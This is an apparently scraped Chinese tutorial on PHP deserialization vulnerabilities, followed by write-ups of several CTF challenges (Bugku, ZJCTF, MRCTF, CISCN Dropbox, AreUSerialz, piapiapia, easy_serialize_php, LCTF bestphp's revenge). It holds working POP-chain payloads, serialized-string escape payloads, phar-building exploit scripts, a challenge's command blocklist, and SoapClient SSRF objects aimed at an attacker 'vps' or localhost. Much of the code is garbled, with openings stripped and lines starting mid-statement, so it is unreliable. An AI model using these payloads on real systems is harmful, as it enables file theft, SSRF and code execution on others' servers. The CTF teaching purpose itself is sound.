千家信息网

PHP反序列化、魔术方法以及反序列化漏洞的原理

发表于:2024-11-17 作者:千家信息网编辑
千家信息网最后更新 2024年11月17日,这篇文章主要讲解了"PHP反序列化、魔术方法以及反序列化漏洞的原理",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"PHP反序列化、魔术方法以及反序列化漏
千家信息网最后更新 2024年11月17日PHP反序列化、魔术方法以及反序列化漏洞的原理

这篇文章主要讲解了"PHP反序列化、魔术方法以及反序列化漏洞的原理",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"PHP反序列化、魔术方法以及反序列化漏洞的原理"吧!

一、基础

为方便存储、转移对象,将对象转化为字符串的操作叫做序列化;将对象转化的字符串恢复成对象的过程叫做反序列化。

php中的序列化与反序列化函数分别为:serialize()、unserialize()

  " . serialize($a)."\n";?>//运行结果serialize  ->  O:4:"azhe":3:{s:2:"iq";s:3:"200";s:2:"eq";i:300;s:8:"azhepr";s:6:"4ut15m";}将结果进行url编码如下O%3A4%3A%22azhe%22%3A3%3A%7Bs%3A2%3A%22iq%22%3Bs%3A3%3A%22200%22%3Bs%3A2%3A%22eq%22%3Bi%3A300%3Bs%3A8%3A%22azhepr%22%3Bs%3A6%3A%224ut15m%22%3B%7D

序列化后的结果可分为几类

类型:d                       ->d代表一个整型数字O:d     ->   对象              ->d代表该对象类型的长度,例如上述的azhe类对象长度为4,原生类对象Error长度为5a:d     ->   数组              ->d代表数组内部元素数量,例如array('a'=>'b','x'=>1)有两个元素s:d     ->   字符串             -dN代表字符串长度,例如abc序列化后为s:3:"abc";i:d     ->   整型              ->d代表整型变量的值,例如300序列化后的值则为i:300;a - arrayb - booleand - doublei - integero - common objectr - references - stringC - custom objectO - classN - nullR - pointer referenceU - unicode string

php的session存储的也是序列化后的结果

二、序列化引擎

php对session的处理有三种引擎分别为php、php_serialize、php_binary.经过这三者处理后的session结构都不相同。

php_serialize      ->与serialize函数序列化后的结果一致php                             ->key|serialize后的结果php_binary              ->键名的长度对应的ascii字符+键名+serialize()函数序列化的值默认使用php引擎

使用php引擎的结果见上图

使用php_serialize引擎的结果如下

使用php_binary引擎的结果如下

其中存在不可见字符,将结果进行URL编码如下

在session文件可写的情况下,可手动写入我们想要的内容,例如

";}else if(isset($_GET['name']) && isset($_GET['content'])){        if(preg_match('/ph/i',$_GET['name'])){                var_dump($_GET['name']);            die('over');        }else file_put_contents('/var/www/html/'.$_GET['name'],$banner . $_GET['content']);}?>

该题目中可任意文件写,故写入session文件构造name=admin.payload=|s:3:"xxx";name|s:5:"admin";

简单说一下payload.

banner和payload拼接在一起后变为--4ut15m--\n|s:3:"xxx";name|s:5:"admin";经php序列化引擎反序列化后就成为了

$_SESSION=['--4ut15m--\n' => 'xxx', 'name' => 'admin']

三、魔术方法

满足一定条件自动调用的方法即为魔术方法,常见魔术方法及触发条件如下

__wakeup() //使用unserialize时触发__sleep() //使用serialize时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__toString() //把类当作字符串使用时触发__invoke() //当脚本尝试将对象调用为函数时触发
ed;$superman->eval();?>//运行结果正在实例化Superman类,这是__construct的echo你想访问ed属性,但是Superman没有这个属性,这是__get的echo你想调用eval方法,但是Superman没有这个方法,这是__call的echo正在销毁Superman对象,这是__destruct的echo

四、反序列化漏洞

当程序中存在反序列化可控点时,造成该漏洞,可通过程序中存在的类和php原生类构造pop链达成攻击。

file = "index.php";    }    function __destruct(){        echo file_get_contents($this->file);    }}unserialize($_GET['file']);?>

又例如

name = "4ut15m";    }    function __destruct(){        echo $this->name;    }}class wow{    public $wuhusihai = "";    function __construct(){        $this->wuhusihai = "wuwuwu";    }    function __toString(){        $this->wuhusihai->b();        return "ok";    }}class fine{    public $code = "";    function __call($key,$value){        @eval($this->code);    }}unserialize($_GET['payload']);?>

pop链为hit->__destruct() ----> wow->__toString() ----> fine->__call(),构造payload

4.1 原生类利用

l3m0n文章

原生类即是php内置类,查看拥有所需魔术方法的类如下

结果如下

Exception::__wakeupException::__toStringErrorException::__wakeupErrorException::__toStringGenerator::__wakeupDateTime::__wakeupDateTime::__set_stateDateTimeImmutable::__wakeupDateTimeImmutable::__set_stateDateTimeZone::__wakeupDateTimeZone::__set_stateDateInterval::__wakeupDateInterval::__set_stateDatePeriod::__wakeupDatePeriod::__set_stateLogicException::__wakeupLogicException::__toStringBadFunctionCallException::__wakeupBadFunctionCallException::__toStringBadMethodCallException::__wakeupBadMethodCallException::__toStringDomainException::__wakeupDomainException::__toStringInvalidArgumentException::__wakeupInvalidArgumentException::__toStringLengthException::__wakeupLengthException::__toStringOutOfRangeException::__wakeupOutOfRangeException::__toStringRuntimeException::__wakeupRuntimeException::__toStringOutOfBoundsException::__wakeupOutOfBoundsException::__toStringOverflowException::__wakeupOverflowException::__toStringRangeException::__wakeupRangeException::__toStringUnderflowException::__wakeupUnderflowException::__toStringUnexpectedValueException::__wakeupUnexpectedValueException::__toStringCachingIterator::__toStringRecursiveCachingIterator::__toStringSplFileInfo::__toStringDirectoryIterator::__toStringFilesystemIterator::__toStringRecursiveDirectoryIterator::__toStringGlobIterator::__toStringSplFileObject::__toStringSplTempFileObject::__toStringSplFixedArray::__wakeupReflectionException::__wakeupReflectionException::__toStringReflectionFunctionAbstract::__toStringReflectionFunction::__toStringReflectionParameter::__toStringReflectionMethod::__toStringReflectionClass::__toStringReflectionObject::__toStringReflectionProperty::__toStringReflectionExtension::__toStringReflectionZendExtension::__toStringDOMException::__wakeupDOMException::__toStringPDOException::__wakeupPDOException::__toStringPDO::__wakeupPDOStatement::__wakeupSimpleXMLElement::__toStringSimpleXMLIterator::__toStringPharException::__wakeupPharException::__toStringPhar::__destructPhar::__toStringPharData::__destructPharData::__toStringPharFileInfo::__destructPharFileInfo::__toStringCURLFile::__wakeupmysqli_sql_exception::__wakeupmysqli_sql_exception::__toStringSoapClient::__callSoapFault::__toStringSoapFault::__wakeup
Error

将Error对象以字符串输出时会触发__toString,构造message可xss

异常类大多都可以如此利用

SoapClient

__call方法可用

'http://vps:port','location'=>'http://vps:port/'));#echo serialize($a);$a->azhe();//还可以设置user_agent,user_agent处可通过CRLF注入恶意请求头?>

4.2 反序列化字符逃逸

序列化字符串内容可控情况下,若服务端存在替换序列化字符串中敏感字符操作,则可能造成反序列化字符逃逸。

序列化字符串字符增加
id = "100";$taoyi->name = $name;$haha = filter(serialize($taoyi));echo "haha  --> {$haha} 
";@$haha = unserialize($haha);if($haha->id === '3333'){ echo $flag;}?>

$taoyi->id被限定为100,但是$taoyi->name可控并且$taoyi对象被序列化后会经过filter函数处理,将敏感词QAQ替换为wuwu,而我们需要使最后的$haha->id='3333'.

正常传值name=4ut15m,结果为O:5:"Taoyi":2:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";}传递包含敏感词的值name=4ut15mQAQ,结果为O:5:"Taoyi":2:{s:4:"name";s:9:"4ut15mwuwu";s:2:"id";s:3:"100";}可以看见s:4:"name";s:9:"4ut15mwuwu";这里4ut15mwuwu的长度为10,和前面的s:9对不上,所以会反序列化失败。这里构造一个payload去闭合双引号,name=4ut15mQAQ",结果为O:5:"Taoyi":2:{s:4:"name";s:10:"4ut15mwuwu"";s:2:"id";s:3:"100";}可以看见s:10:"4ut15mwuwu"";其中s:10所对应的字符串为4ut15mwuwu,也即是我们输入的双引号闭合了前面的双引号,而序列化自带的双引号则成为了多余的双引号。我们每输入一个敏感字符串都可以逃逸一个字符(上面输入了一个QAQ,所以可以逃逸出一个双引号去闭合前面的双引号)。故我们可以通过构造payload使得我们能够控制id的值,达到对象逃逸的效果。如下图

payload为name=4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:4:"3333";}

payload构造思路先明确需要逃逸的字符串及其长度,在此即为";s:2:"id";s:4:"3333";}长度为23,需要逃逸23个字符,所以加入23个QAQ即可满足条件.
序列化字符串字符减少
id = "100";$taoyi->xixi = $xixi;$taoyi->name = $name;$haha = filter(serialize($taoyi));echo "haha  --> {$haha} 
";@$haha = unserialize($haha);if($haha->id === '3333'){ echo $flag;}?>

序列化字符串减少的情况,需要序列化字符串有至少两处可控点.这里是将敏感词wuwu替换为QAQ。

正常传值name=4ut15m&xixi=1234,结果为O:5:"Taoyi":3:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";}第一个可控点name作为逃逸点,第二个可控点xixi作为逃逸对象所在点.因为需要逃逸的属性id在xixi的前面,故需要通过在name处构造payload将属性id对应的字符串吞没.测试传值name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=1234结果为O:5:"Taoyi":3:{s:4:"name";s:82:"4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";}可以看到替换后s:82对应的字符串为4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100故替换后只剩两个属性name与xixi.同样的道理可以用在属性xixi上,如果不吞没属性xixi,那么在xixi处传递的数据会作为xixi的值,仍旧无法达到效果。只要将id与xixi都吞没,就可以在xixi处传递参数重新构造这两个属性值。如下

payload为name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";}

payload构造思路先明确需要逃逸的字符串,";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";},再确认逃逸字符串字符串之前需要吞没的字符串的长度,在此为";s:2:"id";s:3:"100";s:4:"xixi";s:42:" 长度为38每一个wuwu可以吞没一个字符,所以需要38个wuwu去吞没这个字符串。

4.3 PHAR协议利用

phar文件是php的打包文件,在php.ini中可以通过设置phar.readonly来控制phar文件是否为只读,若非只读(phar.readonly=Off)则可以生成phar文件.

phar文件结构

四部分,stub、manifest、contents、signature

1.stubphar文件标志,必须包含,PHP结束标志?>可以省略,但语句结束符;与stub的结尾之间不能超过两个空格。在生成phar之前应先添加stub.之前也可添加其他内容伪造成其他文件,比如GIF89a2.manifest存放phar归档信息.Manifest结构如下图所有未使用的标志保留,供将来使用,并且不得用于存储自定义信息。使用每个文件的元数据功能来存储有关特定文件的自定义信息.

phar反序列化触发函数

php中的大部分与文件操作相关函数在通过phar协议获取数据时会将phar文件的meta-data部分反序列化

fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile

生成phar文件例子如下

startBuffering();                                                                             //开启缓冲区$phar->setStub("");                                     //设置stub$test = new pharfile();$phar->setMetadata($test);                                                                           //设置metadata,这一部分数据会被序列化$phar->addFromString("azhe.txt",'test');                                           //添加压缩文件$phar->stopBuffering();                                                                                      //关闭缓冲区?>

4.4 PHP引用

&在php中是位运算符也是引用符(&&为逻辑运算符).&可以使不同名变量指向同一个值,类似于C中的地址。

倘若出现下述情况,即可使用引用符

one = "azhe";    }}$a = @unserialize($_GET['payload']);$a->two = $flag;if($a->one === $a->two){    echo "flag is here:$flag";}?>

这里的__wakeup是不需要绕过的,$a->one引用了$a->two后这两者的值一定会相等,不管谁做了改变。

序列化结果中的R:2;即是引用.

五、BUGKU

安慰奖

算是反序列化入门题吧

index.php中发现提示

下载备份文件index.php.bak,审计

";class ctf{    protected $username = 'hack';    protected $cmd = 'NULL';    public function __construct($username,$cmd)    {        $this->username = $username;        $this->cmd = $cmd;    }    function __wakeup()    {        $this->username = 'guest';    }    function __destruct()    {        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))        {            exit('
flag能让你这么容易拿到吗?
'); } if ($this->username === 'admin') { // echo "
right!
"; $a = `$this->cmd`; var_dump($a); }else { echo "
给你个安慰奖吧,hhh!
"; die(); } }} $select = $_GET['code']; $res=unserialize(@$select);?>

直接编写exp

禁用了一些文件读取命令,曲线救国如下

六、BUUCTF

ZJCTF 2019 NiZhuanSiWei

源码

".file_get_contents($text,'r')."


"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; }}else{ highlight_file(__FILE__);}![image-20201204165807234.png](https://image.3001.net/images/20210218/1613636557_602e23cd4fca4536c1e47.png!small)?> //考点: 基本的反序列化漏洞,php伪协议的利用

第一层if通过php://input满足,file通过php://filter读取useless.php

//useless.phpfile)){              echo file_get_contents($this->file);             echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

payload构造

创建一个Flag对象,使得该对象的file属性为flag.php提交序列化字符串即可

MRCTF2020 Ezpop

append($this->var);    }}class Show{    public $source;    public $str;    public function __construct($file='index.php'){        $this->source = $file;        echo 'Welcome to '.$this->source."
"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }}class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); }}if(isset($_GET['pop'])){ @unserialize($_GET['pop']);}else{ $a=new Show; highlight_file(__FILE__);} //考点: 基本的序列化pop链构造

payload构造

思路:1.需要将Modifier的对象当作函数调用 2.需要将Show的对象当作字符串处理 3.需要调用Test对象中不存在的属性preg_match是处理字符串的,当使得一个Show1->source为Show2对象时,可调用Show2的__toString.而该魔术方法调用$this->str->source,若使得该对象的source为Test对象,则可触发Test对象的__get方法,在Test对象的__get方法中又可构造使得将一个Modifier类当作函数调用,触发__invoke.payload如下

CISCN2019 Day1 Web1 Dropbox

注册账号登录后,在下载功能处发现任意文件下载,扒取源码如下

//index.php网盘管理
Name();$a->Size();?>
//login.php        登录              
toast('注册成功', 'info');";}if (isset($_POST["username"]) && isset($_POST["password"])) { $u = new User(); $username = (string) $_POST["username"]; $password = (string) $_POST["password"]; if (strlen($username) < 20 && $u->verify_user($username, $password)) { $_SESSION['login'] = true; $_SESSION['username'] = htmlentities($username); $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/"; if (!is_dir($sandbox)) { mkdir($sandbox); } $_SESSION['sandbox'] = $sandbox; echo(""); die(); } echo "";}?>
//download.phpopen($filename) && stristr($filename, "flag") === false) {    Header("Content-type: application/octet-stream");    Header("Content-Disposition: attachment; filename=" . basename($filename));    echo $file->close();} else {    echo "File not exist";}?>
//delete.phpopen($filename)) {    $file->detele();    Header("Content-type: application/json");    $response = array("success" => true, "error" => "");    echo json_encode($response);} else {    Header("Content-type: application/json");    $response = array("success" => false, "error" => "File not exist");    echo json_encode($response);}?>
//upload.php false, "error" => "Only gif/jpg/png allowed");            Header("Content-type: application/json");            echo json_encode($response);            die();    }    if (strlen($filename) < 40 && strlen($filename) !== 0) {        $dst = $_SESSION['sandbox'] . $filename . $fileext;        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);        $response = array("success" => true, "error" => "");        Header("Content-type: application/json");        echo json_encode($response);    } else {        $response = array("success" => false, "error" => "Invaild filename");        Header("Content-type: application/json");        echo json_encode($response);    }}?>
//class.phpdb = $db;    }    public function user_exist($username) {        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");        $stmt->bind_param("s", $username);        $stmt->execute();        $stmt->store_result();        $count = $stmt->num_rows;        if ($count === 0) {            return false;        }        return true;    }    public function add_user($username, $password) {        if ($this->user_exist($username)) {            return false;        }        $password = sha1($password . "SiAchGHmFx");        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");        $stmt->bind_param("ss", $username, $password);        $stmt->execute();        return true;    }    public function verify_user($username, $password) {        if (!$this->user_exist($username)) {            return false;        }        $password = sha1($password . "SiAchGHmFx");        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");        $stmt->bind_param("s", $username);        $stmt->execute();        $stmt->bind_result($expect);        $stmt->fetch();        if (isset($expect) && $expect === $password) {            return true;        }        return false;    }    public function __destruct() {        $this->db->close();    }}class FileList {    private $files;    private $results;    private $funcs;    public function __construct($path) {        $this->files = array();        $this->results = array();        $this->funcs = array();        $filenames = scandir($path);        $key = array_search(".", $filenames);        unset($filenames[$key]);        $key = array_search("..", $filenames);        unset($filenames[$key]);        foreach ($filenames as $filename) {            $file = new File();            $file->open($path . $filename);            array_push($this->files, $file);            $this->results[$file->name()] = array();        }    }    public function __call($func, $args) {        array_push($this->funcs, $func);        foreach ($this->files as $file) {            $this->results[$file->name()][$func] = $file->$func();        }    }    public function __destruct() {        $table = '
'; $table .= ''; foreach ($this->funcs as $func) { $table .= ''; } $table .= ''; $table .= ''; foreach ($this->results as $filename => $result) { $table .= ''; foreach ($result as $func => $value) { $table .= ''; } $table .= ''; $table .= ''; } echo $table; }}class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); }}?>

先分析类文件,User类存在__destruct魔术方法,并且在其中调用$this->db->close(),再一看File类,刚好有close方法,但是User的__destruct中并未输出结果。再看FileList类,其中存在__call__destruct.__call方法首先将调用的不存在函数$func放至FileList->funcs数组尾部,而后遍历FileList->files并且调用FileList->files->$func(),执行结果会被赋值给FileList->result.FileList->__destruct方法输出result的结果。

很常规,该题POP链很好构造。User->__destruct --> FileList->__call --> File->close() --> FileList->__destruct

在delete.php中找到程序反序列化触发点

跟进detele方法

unlink是个文件操作函数,可以通过phar协议进行反序列化。程序可以上传图片,故生成phar文件修改后缀上传,在删除功能处触发反序列化即可(经测试,flag文件为/flag.txt)。

exp如下

db = new FileList();        }}class FileList{        private $files;        private $results;        private $funcs;        public function __construct(){                $this->files = array(new File());                $this->results;                $this->funcs;        }}class File{        public $filename = "../../../../../../flag.txt";}$a = new User();$phar = new Phar('4ut15m.phar');$phar->startBuffering();$phar->setStub('');$phar->setMetadata($a);$phar->addFromString('azhe.txt','4ut15m');$phar->stopBuffering();?>

网鼎杯 2020 青龙组 AreUSerialz

process();    }    public function process() {        if($this->op == "1") {            $this->write();        } else if($this->op == "2") {            $res = $this->read();            $this->output($res);        } else {            $this->output("Bad Hacker!");        }    }    private function write() {        if(isset($this->filename) && isset($this->content)) {            if(strlen((string)$this->content) > 100) {                $this->output("Too long!");                die();            }            $res = file_put_contents($this->filename, $this->content);            if($res) $this->output("Successful!");            else $this->output("Failed!");        } else {            $this->output("Failed!");        }    }    private function read() {        $res = "";        if(isset($this->filename)) {            $res = file_get_contents($this->filename);        }        return $res;    }    private function output($s) {        echo "[Result]: 
"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }}function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }}//考点: php弱类型语言==判断漏洞,基本的反序列化漏洞,序列化过程对protect、private属性的处理

程序只允许使用ascii码在32-125范围内的字符,满足条件就反序列化。

process方法中规定,当op=="2"时可以读取$filename文件,op=="1"时可以写入文件.

析构函数中规定,当op==="2"时使得op="1".

综上可知,当使得op !=="2"但op =="2"时,可以读取文件。构造op=2可满足条件

payload构造

因为要读取flag.php,所以使得filename='flag.php';因为要执行读取操作,所以使得op=2类的private或protected属性在序列化后存在不可见字符,不可见字符不在可使用字符范围内(如若可用则需要将序列化后的字符串进行编码),我们可以手动修改protected属性为public属性,硬核过is_valid

0CTF 2016 piapiapia

发现www.zip,获得源码

//index.php 16)                         die('Invalid user name');                if(strlen($password) < 3 or strlen($password) > 16)                         die('Invalid password');                if($user->login($username, $password)) {                        $_SESSION['username'] = $username;                        header('Location: profile.php');                        exit;                   }                else {                        die('Invalid user name or password');                }        }        else {?>   Login                 

Login

//profile.phpshow_profile($username);        if($profile  == null) {                header('Location: update.php');        }        else {                $profile = unserialize($profile);                $phone = $profile['phone'];                $email = $profile['email'];                $nickname = $profile['nickname'];                $photo = base64_encode(file_get_contents($profile['photo']));?>   Profile                 
" class="img-memeda " >

Hi

//register.php 16)                         die('Invalid user name');                if(strlen($password) < 3 or strlen($password) > 16)                         die('Invalid password');                if(!$user->is_exists($username)) {                        $user->register($username, $password);                        echo 'Register OK!Please Login';                              }                else {                        die('User name Already Exists');                }        }        else {?>   Login                 

Register

//update.php 10)                        die('Invalid nickname');                $file = $_FILES['photo'];                if($file['size'] < 5 or $file['size'] > 1000000)                        die('Photo size error');                move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));                $profile['phone'] = $_POST['phone'];                $profile['email'] = $_POST['email'];                $profile['nickname'] = $_POST['nickname'];                $profile['photo'] = 'upload/' . md5($file['name']);                $user->update_profile($username, serialize($profile));                echo 'Update Profile Success!Your Profile';        }        else {?>   UPDATE                 

Please Update Your Profile

//class.phptable, $where);        }        public function register($username, $password) {                $username = parent::filter($username);                $password = parent::filter($password);                $key_list = Array('username', 'password');                $value_list = Array($username, md5($password));                return parent::insert($this->table, $key_list, $value_list);        }        public function login($username, $password) {                $username = parent::filter($username);                $password = parent::filter($password);                $where = "username = '$username'";                $object = parent::select($this->table, $where);                if ($object && $object->password === md5($password)) {                        return true;                } else {                        return false;                }        }        public function show_profile($username) {                $username = parent::filter($username);                $where = "username = '$username'";                $object = parent::select($this->table, $where);                return $object->profile;        }        public function update_profile($username, $new_profile) {                $username = parent::filter($username);                $new_profile = parent::filter($new_profile);                $where = "username = '$username'";                return parent::update($this->table, 'profile', $new_profile, $where);        }        public function __tostring() {                return __class__;        }}class mysql {        private $link = null;        public function connect($config) {                $this->link = mysql_connect(                        $config['hostname'],                        $config['username'],                         $config['password']                );                mysql_select_db($config['database']);                mysql_query("SET sql_mode='strict_all_tables'");                return $this->link;        }        public function select($table, $where, $ret = '*') {                $sql = "SELECT $ret FROM $table WHERE $where";                $result = mysql_query($sql, $this->link);                return mysql_fetch_object($result);        }        public function insert($table, $key_list, $value_list) {                $key = implode(',', $key_list);                $value = '\'' . implode('\',\'', $value_list) . '\'';                 $sql = "INSERT INTO $table ($key) VALUES ($value)";                return mysql_query($sql);        }        public function update($table, $key, $value, $where) {                $sql = "UPDATE $table SET $key = '$value' WHERE $where";                return mysql_query($sql);        }        public function filter($string) {                $escape = array('\'', '\\\\');                $escape = '/' . implode('|', $escape) . '/';                $string = preg_replace($escape, '_', $string);                $safe = array('select', 'insert', 'update', 'delete', 'where');                $safe = '/' . implode('|', $safe) . '/i';                return preg_replace($safe, 'hacker', $string);        }        public function __tostring() {                return __class__;        }}session_start();$user = new user();$user->connect($config);
//config.php//考点: 序列化字符串字符增加的反序列化

代码审计过后,发现序列化(update.php)与反序列化(profile.php)的点

过滤函数filter(class.php)如下

在profile.php第16行代码中,可以看到有读取文件的操作,结合前面的序列化,可以知道这里可以逃逸photo,控制photo为想要读取的文件名再访问profile.php文件即可。

phone与email的限制很严,无法绕过,可以看见在nickname参数中我们能够输入一切我们想输入的字符(";:等).只要能够使得后半段if判断通过,即可。

strlen函数在判断数组时会返回null,而null在与整型数字判断时会返回false,故构造nickname为数组即可绕过nickname的if判断

payload构造

正常序列化结果如下$profile['phone'] = '12345678911';$profile['email'] = 'admin@admin.com';$profile['nickname'] = ['wuhusihai'];$profile['photo'] = 'upload/123456';a:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"admin@admin.com";s:8:"nickname";a:1:{i:0;s:9:"wuhusihai";}s:5:"photo";s:13:"upload/123456";}明确需要逃逸的字符串为";}s:5:"photo";s:10:"config.php";},长度为34,故需要34个敏感词where来完成逃逸构造payload再序列化查看结果$profile['phone'] = '12345678911';$profile['email'] = 'admin@admin.com';$profile['nickname'] = ['wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'];$profile['photo'] = 'upload/123456';a:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"admin@admin.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:13:"upload/123456";}PS:可通过校验hacker字符串的长度是否为204来判断是否正确,也可在本地进行反序列化,看能否正常反序列化

提交payload

访问profile.php

解码

安洵杯 2019 easy_serialize_php

源码

source_code';}if(!$_GET['img_path']){    $_SESSION['img'] = base64_encode('guest_img.png');}else{    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){    highlight_file('index.php');}else if($function == 'phpinfo'){    eval('phpinfo();'); //maybe you can find something in here!-> 查看phpinfo后可知flag文件d0g3_f1ag.php}else if($function == 'show_image'){    $userinfo = unserialize($serialize_info);    echo file_get_contents(base64_decode($userinfo['img']));} //考点: 序列化字符串字符减少的反序列化,extract变量覆盖

通过extract可覆盖全局变量$_SESSION进一步可控制序列化结果中的user与function,两处可控并且filter会减少序列化字符串字符数,进一步逃逸对象

payload为GET-> f=show_image POST-> _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

payload构造思路首先构造需要逃逸的字符串";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";},查看序列化后的字符串为a:3:{s:4:"user";s:0:"";s:8:"function";s:70:"";s:8:"function";s:10:"show_image";s:3:"img";s:16:"L2V0Yy9wYXNzd2Q=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}查看需要吞没的字符串长度";s:8:"function";s:70:",长度为23,根据filter函数可知,关键词php可吞没3个字符,flag可吞没4个字符,即构造flag*5+php ->flagflagflagflagflagphp二者结合可得_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

bestphp's revenge

//考点: php原生类反序列化

访问flag.php,发现

only localhost can get flag!session_start();echo 'only localhost can get flag!';$flag = 'LCTF{*************************}';if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){       $_SESSION['flag'] = $flag;   }only localhost can get flag!

虽然call_user_func各个参数皆可控,但由于第二个参数类型不可控(定死为数组),无法做到任意代码执行。我们需要通过ssrf使服务器访问到flag.php即可获得flag.在没有可见的ssrf利用处时,可考虑php自身的ssrf,也即是php原生类SoapClient.如下

'http://vps/flag.php','uri'=>'http://vps/flag.php'));$a->azhe();?>

所以,现在如何使程序去SSRF成为首要问题。

我们知道,php在保存session之时,会将session进行序列化,而在使用session时则会进行反序列化,可控的session值导致了序列化的内容可控。

结合php序列化引擎的知识可知,默认序列化引擎为php,该方式序列化后的结果为key|序列化结果,如下

而php_serialize引擎存储的结果则仅为序列化结果,如下

在php引擎中,|之前的内容会被当作session的键,|后的内容会在执行反序列化操作后作为session键对应的值,比如name|s:6:"4ut15m";里的name就成为了$_SESSION['name'],而s:6:"4ut15m";在执行反序列化操作后则变成了字符串4ut15m,二者结合即是$_SESSION['name']="4ut15m"

因为call_user_func的参数可控,故我们可以调用函数ini_set或者session_start来修改序列化引擎。一系列操作如下

先生成所需的序列化字符串

需要在序列化结果前添加一个|,也即是|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

尝试修改题目序列化引擎,ini_set无法处理数组,故用session_start("serialize_handler")

再访问一次该页面,则变为了默认引擎(php),可以看到序列化结果键已经不再是name,值也不再是|O:10:"SoapClient":3:{s:3:"uri";s:25:"http://127.0.0.1/flag.php";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;},而是SoapClient对象

接下来,想要使该SoapClient对象能够发起请求,就需要调用该对象的__call方法.

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');这一行代码在执行后,$a的值就成为了array(SoapClient对象,'welcome_to_the_lctf2018')

我们知道,call_user_func函数的第一个参数为数组时,它会将数组的第一个值作为类,第二个值作为方法去调用该类的方法,如下

